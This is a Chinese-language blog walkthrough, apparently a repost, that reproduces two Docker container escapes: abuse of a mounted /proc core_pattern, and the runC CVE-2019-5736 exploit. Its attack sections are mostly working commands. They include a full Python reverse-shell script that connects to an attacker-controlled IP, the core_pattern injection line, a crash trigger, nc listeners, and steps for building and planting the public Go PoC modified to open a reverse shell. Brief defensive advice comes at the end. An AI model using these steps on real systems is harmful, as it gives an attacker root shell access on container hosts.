Docker逃逸CVE-2019-5736、procfs云安全漏洞复现,全文5k字,超详细解析!

news2024/10/5 14:44:46

Docker容器挂载procfs 逃逸

procfs是展示系统进程状态的虚拟文件系统,包含敏感信息。直接将其挂载到不受控的容器内,特别是容器默认拥有root权限且未启用用户隔离时,将极大地增加安全风险。因此,需谨慎处理,确保容器环境安全隔离。

利用文件/proc/sys/kernel/core_pattern它在Linux系统中,如果进程崩溃了,系统内核会捕获到进程崩溃信息,将进程崩溃信息传递给这个文件中的程序或者脚本。

自Linux内核2.6.19版本起,/proc/sys/kernel/core_pattern配置迎来了新扩展。若此文件首字符为管道符'|',紧随其后的内容即被识别为指向用户空间程序或脚本的指令,系统将在生成核心转储时自动调用执行这些外部程序或脚本。这一特性增强了核心转储处理的灵活性与定制化能力。

漏洞复现

1、漏洞环境搭建

创建一个容器并挂载 /proc 目录

docker run -it --rm -v /proc/:/host/ ubuntu

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs,如果返回 Procfs is not mounted. 则说明没有挂载。

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

image-20240705131621791

image-20240705131621791

漏洞利用

# 安装gcc c文件是执行不了的,需要安装gcc来执行c文件
apt update && apt install -y gcc

image-20240705131648885

image-20240705131648885

反弹shell脚本

cat > /tmp/.t.py <<EOF
#!/usr/bin/python
import  os
import pty
import socket
lhost = "反弹shell的攻击机ip"
lport = 8888
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()
EOF

赋予执行权限

chmod 777 /tmp/.t.py

Linux核心转储程序通过宿主机文件系统执行,利用/etc/mtabupperdir定位容器挂载点。容器未提交的文件变动,在此宿主机路径上可见。

host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

写入反弹shell

echo -e "|$host_path/tmp/.t.py \rcore" > /host/sys/kernel/core_pattern

image-20240705131742594

image-20240705131742594

在攻击机上开启一个监听

nc -lvvp 8888

image-20240705130903563

image-20240705130903563

然后在容器里运行一个可以崩溃的程序

cat > /tmp/t.c <<EOF
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}
EOF
# 编译程序并执行
cd /tmp
gcc t.c -o t && ./t

如果出现了如下情况,攻击机也没有反应,那么多半是因为攻击机器没有放行8888端口

image-20240705131050975

image-20240705131050975

kali放行8888端口,使用iptables

iptables -A INPUT -p tcp --dport 8888 -j ACCEPT

此时重新执行c文件

./t 
# 或者
gcc t.c -o t && ./t

攻击机器即可接收反弹的shell

image-20240705131315250

image-20240705131315250

Docker runC逃逸-CVE-2019-5736

概述:

2019年2月,runC维护团队披露了一个严重安全漏洞CVE-2019-5736,由SUSE Linux的高级软件工程师Aleksa Sarai发现。此漏洞影响Docker、containerd、Podman、CRI-O等广泛使用的容器运行时,对IT环境和主流云平台如AWS、Google Cloud构成重大威胁。攻击者利用此漏洞可实现容器逃逸,获取宿主机的root权限,进而控制主机上的所有容器。

漏洞原理:

漏洞根源在于runC,一个作为容器底层运行时的开源工具,早期作为Docker的一部分开发,后独立出来。runC由高级别容器运行时(如Docker)调用,负责容器的创建与进程管理。在受影响版本中(「Docker 18.09.2之前,runc版本低于1.0-rc6」),攻击者可通过特定容器镜像或exec操作,获取宿主机上runC的文件句柄,进而篡改runc二进制文件。这一操作允许攻击者以root权限在宿主机上执行任意命令,实现完全控制。

影响版本

docker version <=「18.09.2」 RunC version <=「1.0-rc6」

环境安装

我这里是香港服务器 centos 7.9,一台攻击机腾讯云服务器

这里我推荐腾讯云服务器,新用户99元可以用一年,自带docker加速服务,当靶场必备===>https://curl.qcloud.com/T7dJtWo1

依次执行如下命令,即可安装成功docker-18.03.1

sudo yum update -y
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
sudo yum install -y docker-ce-18.03.1.ce
sudo systemctl start docker
sudo systemctl enable docker
docker --version

Tips:6月开始国内大部分docker源都不能使用了,要么使用香港或者国外操作系统,或者推荐「龙蜥操作系统」,就算搭建本地也自带外网加速

这里docker版本原因,pull不了镜像,可以pull本地,这里我准备好了一个docker可以直接用的ubuntu镜像,【小羽网安】后台回复即【ubuntu】,小伙伴们不要回复错奥,ubuntu,ubuntu,ubuntu~

image-20240706184227729

image-20240706184227729

将自己下载的ubuntu.tar上传到自己的靶机上,使用docker加载本地镜像

docker load -i ubuntu.tar

启动示例

docker run -d --name my_ubuntu_container ubuntu /bin/bash -c "tail -f /dev/null"

image-20240706184423390

image-20240706184423390

漏洞复现

第一步:生成payload

下载CVE-2019-5736编译go脚本生成攻击payload。(https://github.com/Frichetten/CVE-2019-5736-PoC),将go脚本中的命令修改为反弹shell(附件)

将此内容进行更改,设置「nc」监听地址。

image-20240706153349579

image-20240706153349579

编译生成payload(需要go环境,yum install go) ,也叫可执行文件,为linux系统

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

建议打快照,漏洞复现完成会造成docker无法使用。

第二步:开始攻击

将该payload拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

docker cp main df9370449f96:/home  #拷贝
docker exec -it df9370449f96 /bin/bash  #进入该ubuntu容器

image-20240706185015303

image-20240706185015303

执行payload,等待受害者去启动docker容器。

image-20240706185044676

image-20240706185044676

攻击机器开启瑞士军刀监听之前先放行1234端口

[root@lavm-izz8p5423g CVE-2019-5736-PoC-master]# systemctl start firewalld
[root@lavm-izz8p5423g CVE-2019-5736-PoC-master]# sudo firewall-cmd --zone=public --add-port=1234/tcp --permanent
success

开启监听

image-20240706182409318

image-20240706182409318

诱导受害机重新进入容器。(「bash/sh」启动)

image-20240706182245089

image-20240706182245089

受害者启动docker容器时,触发payload,成功反弹shell。

image-20240706182320471

image-20240706182320471

whoami,漏洞利用成功

image-20240706182659200

image-20240706182659200

总结

本文详细展示了两种Docker容器安全漏洞的复现过程,分别是通过伪文件系统procfs的逃逸攻击和CVE-2019-5736 runC逃逸漏洞。这两种攻击均利用了容器与宿主机之间的不当隔离或软件缺陷,实现了从容器内部向宿主机环境的非法访问和控制。

procfs逃逸攻击总结
  1. 「漏洞原理」:通过挂载宿主机的/proc目录到容器内,攻击者能够访问并修改宿主机上的关键系统文件,如/proc/sys/kernel/core_pattern,从而在进程崩溃时执行任意代码。

  2. 「复现步骤」
    • 创建一个挂载/proc目录的Docker容器。

    • 在容器内安装gcc并编写反弹shell的Python脚本。

    • 修改宿主机上的/proc/sys/kernel/core_pattern文件,使其指向容器内的反弹shell脚本。

    • 在容器内制造进程崩溃,触发核心转储机制,执行反弹shell脚本,从而在攻击机上获得宿主机的shell访问权限。

  3. 「防御建议」
    • 避免将宿主机的敏感目录(如/proc)挂载到容器中。

    • 容器应运行在非特权用户模式下,限制其对宿主机的访问权限。

    • 监控并审计容器内的活动,及时发现异常行为。

CVE-2019-5736 runC逃逸漏洞总结
  1. 「漏洞原理」:在受影响的Docker和runC版本中,攻击者可以通过特定容器镜像或exec操作获取宿主机上runC的文件句柄,进而篡改runc二进制文件,实现以root权限执行任意命令。

  2. 「复现步骤」
    • 在受影响的Docker环境中安装并运行易受攻击的容器。

    • 编译并准备用于漏洞利用的payload(一个Go语言编写的可执行文件)。

    • 将payload拷贝到容器中并执行,等待宿主机上的Docker活动触发payload。

    • 在攻击机上监听特定端口,当受害机上的Docker活动触发payload时,成功接收反弹的shell。

  3. 「防御建议」
    • 及时更新Docker和runC到最新版本,避免使用已知存在漏洞的旧版本。

    • 实施最小权限原则,限制容器内进程的运行权限。

    • 使用容器安全扫描工具定期检测容器镜像和运行时环境中的潜在漏洞。

    • 对宿主机和容器进行严格的访问控制和隔离,减少潜在的攻击面。

通过本文的复现过程,我们可以深刻认识到容器安全的重要性以及及时更新和维护软件版本的必要性。随着容器技术的广泛应用,确保容器环境的安全将成为IT运维和安全团队的重要任务。

文章参考:

https://mp.weixin.qq.com/s/z6lvfHo3_S6Qtl67gJPTtA

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1901303.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

最适合mysql5.6安装的linux版本-实战

文章目录 一, 适合安装mysql5.6的linu版本1. CentOS 72. Ubuntu 14.04 LTS (Trusty Tahr)3. Debian 8 (Jessie)4. Red Hat Enterprise Linux (RHEL) 7 二, 具体以Ubuntu 14.04 LTS (Trusty Tahr)为例安装虚拟机安装Ubuntu 14.04 LTS (Trusty Tahr) 自己弄安装ssh(便于远程访问,…

入职字节外包2个月后,我离职了...

有一种打工人的羡慕&#xff0c;叫做“大厂”。 真是年少不知大厂香&#xff0c;错把青春插稻秧。 但是&#xff0c;在深圳有一群比大厂员工更庞大的群体&#xff0c;他们顶着大厂的“名”&#xff0c;做着大厂的工作&#xff0c;还可以享受大厂的伙食&#xff0c;却没有大厂…

短视频商城系统源码揭秘:架构设计与实现

在短视频平台和电商平台蓬勃发展的背景下&#xff0c;短视频商城系统应运而生&#xff0c;融合了短视频内容和电商功能&#xff0c;给用户带来了全新的购物体验。本文将揭示短视频商城系统的源码架构设计与实现&#xff0c;帮助开发者了解该系统的内部工作原理及其关键技术。 …

C++11中新特性介绍-之(二)

11.自动类型推导 (1) auto类型自动推导 auto自动推导变量的类型 auto并不代表某个实际的类型&#xff0c;只是一个类型声明的占位符 auto并不是万能的在任意场景下都能推导&#xff0c;使用auto声明的变量必须进行初始化&#xff0c;以让编译器推导出它的实际类型&#xff0c;…

自然之美无需雕琢

《自然之美&#xff0c;无需雕琢 ”》在这个颜值至上的时代&#xff0c;但在温馨氛围中&#xff0c;单依纯以一种意想不到的方式&#xff0c;为我们诠释了自然之美的真谛。而医生的回答&#xff0c;如同一股清流耳目一新。“我说医生你看我这张脸&#xff0c;有没有哪里要动的。…

团队编程:提升代码质量与知识共享的利器

目录 前言1. 什么是团队编程&#xff1f;1.1 团队编程的起源1.2 团队编程的工作流程 2. 团队编程的优势2.1 提高代码质量2.2 促进知识共享2.3 增强团队协作2.4 提高开发效率 3. 团队编程的挑战3.1 开发成本较高3.2 需要良好的团队协作3.3 个人风格和习惯的差异3.4 长时间的集中…

2024亚太杯数学建模竞赛(B题)的全面解析

你是否在寻找数学建模比赛的突破点&#xff1f;数学建模进阶思路&#xff01; 作为经验丰富的数学建模团队&#xff0c;我们将为你带来2024亚太杯数学建模竞赛&#xff08;B题&#xff09;的全面解析。这个解决方案包不仅包括完整的代码实现&#xff0c;还有详尽的建模过程和解…

Docker:一、安装与卸载、配置阿里云加速器(Ubuntu)

目录 &#x1f341;安装docker&#x1f332;1、环境准备&#x1f332;2、安装docker Engine&#x1f9ca;1、卸载旧版、任何冲突的包&#x1f9ca;2、使用存储库安装&#x1f9ca;3、安装 Docker 包。&#x1f9ca;4、查询是否安装成功&#x1f9ca;5、运行hello-world镜像&…

图像处理调试软件推荐

对于图像处理的调试&#xff0c;使用具有图形用户界面&#xff08;GUI&#xff09;且支持实时调整和预览的图像处理软件&#xff0c;可以大大提高工作效率。以下是几款常用且功能强大的图像处理调试软件推荐&#xff1a; ImageJ/FijiMATLABOpenCV with GUI LibrariesNI Vision …

Stable Diffusion:最全详细图解

Stable Diffusion&#xff0c;作为一种革命性的图像生成模型&#xff0c;自发布以来便因其卓越的生成质量和高效的计算性能而受到广泛关注。不同于以往的生成模型&#xff0c;Stable Diffusion在生成图像的过程中&#xff0c;采用了独特的扩散过程&#xff0c;结合深度学习技术…

WAIC:生成式 AI 时代的到来,高通创新未来!

目录 01 在终端侧算力上&#xff0c;动作最快的就是高通 02 模型优化&#xff0c;完成最后一块拼图 在WAIC上&#xff0c;高通展示的生成式AI创新让我们看到了未来的曙光。 生成式 AI 的爆发带来了意想不到的产业格局变化&#xff0c;其速度之快令人惊叹。 仅在一个月前&…

考研必备~总结严蔚敏教授《数据结构》课程的重要知识点及考点

作者主页&#xff1a;知孤云出岫 目录 1. 基本概念1.1 数据结构的定义1.2 抽象数据类型 (ADT) 2. 线性表2.1 顺序表2.2 链表 3. 栈和队列3.1 栈3.2 队列 4. 树和二叉树4.1 树的基本概念4.2 二叉树 5. 图5.1 图的基本概念5.2 图的遍历 6. 查找和排序6.1 查找6.2 排序 7. 重点考…

[图解]SysML和EA建模住宅安全系统-11-接口块

1 00:00:00,660 --> 00:00:04,480 接下来的步骤是定义系统上下文 2 00:00:04,960 --> 00:00:07,750 首先是图17.17 3 00:00:09,000 --> 00:00:10,510 系统上下文展示了 4 00:00:10,520 --> 00:00:12,510 ESS和外部系统、用户 5 00:00:12,520 --> 00:00:14,1…

简介时间复杂度

好了&#xff0c;今天我们来了解一下&#xff0c;我们在做练习题中常出现的一个名词。时间复杂度。我相信大家如果有在练习过题目的话。对这个名词应该都不陌生吧。但是可能很少的去思考它是干什么的代表的什么意思。反正我以前练习的时候就是这样。我只知道有这么一个名词在题…

DevOps实战:使用GitLab+Jenkins+Kubernetes(k8s)建立CI_CD解决方案

一.系统环境 本文主要基于Kubernetes1.21.9和Linux操作系统CentOS7.4。 服务器版本docker软件版本Kubernetes(k8s)集群版本CPU架构CentOS Linux release 7.4.1708 (Core)Docker version 20.10.12v1.21.9x86_64CI/CD解决方案架构图:CI/CD解决方案架构图描述:程序员写好代码之…

测试几个 ocr 对日语的识别情况

测试几个 ocr 对日语的识别情况 1. EasyOCR2. PaddleOCR3. Deepdoc&#xff08;识别pdf中图片&#xff09;4. Deepdoc&#xff08;识别pdf中文字&#xff09;5. Nvidia neva-22b6. Claude 3.5 sonnet 识别图片中的文字7. Claude 3.5 sonnet 识别 pdf 中表格8. OpenAI gpt-4o 识…

CMS Made Simple v2.2.15 远程命令执行漏洞(CVE-2022-23906)

前言 CVE-2022-23906 是一个远程命令执行&#xff08;RCE&#xff09;漏洞&#xff0c;存在于 CMS Made Simple v2.2.15 中。该漏洞通过上传头像功能进行利用&#xff0c;攻击者可以上传一个经过特殊构造的图片文件来触发漏洞。 漏洞详情 CMS Made Simple v2.2.15 中的头像上…

verilog读写文件注意事项

想要的16进制数是文本格式提供的文件&#xff0c;想将16进制数提取到变量内&#xff0c; 可以使用 f s c a n f ( f d 1 , " 也可以使用 fscanf(fd1,"%h",rd_byte);实现 也可以使用 fscanf(fd1,"也可以使用readmemh(“./FILE/1.txt”,mem);//fe放在mem[0…

alphazero学习

AlphaGoZero是AlphaGo算法的升级版本。不需要像训练AlphaGo那样&#xff0c;不需要用人类棋局这些先验知识训练&#xff0c;用MCTS自我博弈产生实时动态产生训练样本。用MCTS来创建训练集&#xff0c;然后训练nnet建模的策略网络和价值网络。就是用MCTSPlayer产生的数据来训练和…

VRPTW(MATLAB):常春藤算法(IVY)求解带时间窗的车辆路径问题VRPTW,MATLAB代码

详细介绍 VRPTW&#xff08;MATLAB&#xff09;&#xff1a;常春藤算法&#xff08;Ivy algorithm&#xff0c;IVY&#xff09;求解带时间窗的车辆路径问题VRPTW&#xff08;提供MATLAB代码&#xff09;-CSDN博客 ********************************求解结果******************…